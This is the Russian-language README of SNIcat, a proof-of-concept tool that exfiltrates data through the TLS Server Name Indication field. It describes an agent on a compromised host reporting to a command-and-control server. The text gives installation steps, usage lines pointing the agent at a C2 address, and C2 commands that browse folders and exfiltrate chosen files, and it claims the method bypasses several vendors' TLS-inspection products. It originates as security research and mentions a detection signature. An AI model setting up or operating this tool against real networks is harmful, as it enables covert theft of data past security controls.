
SNIcat — это инструмент proof of concept, который выполняет эксфильтрацию данных, используя скрытый канал через Server Name Indication, расширение TLS Client Hello.
Инструмент состоит из агента, находящегося на скомпрометированном внутреннем хосте, и сервера Command&Control (C2), который управляет агентом и собирает эксфильтрованные данные.
Полная история SNIcat описана в нашем блог-посте
SNIcat был протестирован на macOS и различных дистрибутивах Linux.
Хотя его можно легко портировать, на данный момент нет версии для Windows, так как это всего лишь PoC-инструмент.
Метод эксфильтрации не работает с явными прокси, поскольку при подключении через явный прокси используется HTTP CONNECT, а не TLS Client Hello.
SNIcat может не работать с продуктами и версиями ПО, которые мы не тестировали, но это не означает, что эти продукты и/или версии ПО не уязвимы.

Мы обнаружили новый скрытый метод эксфильтрации данных, который специально обходит решения периметра безопасности, такие как веб-прокси, межсетевые экраны следующего поколения (NGFW) и специализированные решения для перехвата и проверки TLS. Наше тестирование подтверждает, что это широко распространенная проблема, затрагивающая различные типы решений безопасности, а также решения от многих вендоров. Мы успешно протестировали нашу технику на продуктах Cisco, F5 Networks, Palo Alto Networks и Fortinet, и предполагаем, что многие другие вендоры также уязвимы.
Используя наш метод эксфильтрации SNIcat, мы обнаружили, что можем обойти решение периметра безопасности, выполняющее проверку TLS, даже если используемый нами домен Command & Control (C2) блокируется общими функциями репутации и предотвращения угроз, встроенными в сами решения безопасности. Короче говоря, мы обнаружили, что решения, предназначенные для защиты пользователей, привели к появлению новой уязвимости.
Мы также предоставили сигнатуру Suricata для обнаружения этого конкретного инструмента.
Клонируйте репозиторий:
https://github.com/mnemonic-no/SNIcat.git
Установите зависимости:
pip3 install -r requirements.txt --user
C2
Получите wildcard-сертификат и ключ от публично доверенного удостоверяющего центра (CA). Это представляет собой GOOD_CERT и GOOD_CERT_KEY.
Используйте самоподписанный сертификат и ключ (не входящие ни в одно хранилище доверенных корневых сертификатов) в качестве BAD_CERT и BAD_CERT_KEY.
(*) USAGE: 'python3 snicat_c2.py <LISTENING_PORT> <GOOD_CERT> <GOOD_CERT_KEY> <BAD_CERT> <BAD_CERT_KEY> log={on|off}'
(*) EXAMPLE: 'python3 snicat_c2_final.py 443 certs/good.pem certs/good.key certs/ssl-cert-snakeoil.pem log=off'
Agent
(*) USAGE: 'python3 snicat_agent.py <C2_SERVER_IP> <C2_SERVER_PORT> log={on|off}'
(*) Example: 'python3 snicat_agent.py 192.0.2.1 443 log=off'
Доступные команды C2
LIST - отобразить всё содержимое текущей папки
LS - отобразить только файлы в текущей папке
SIZE - отобразить размер файлов в текущей папке
LD - отобразить все каталоги в текущей папке
CB - перейти в корневую папку дерева - аналогично 'cd .. '
CD <folder-id> - перейти в указанную папку
EX <file-id> - эксфильтровать указанный файл
ALIVE - проверить, активен ли агент
EXIT - выйти из сервера C2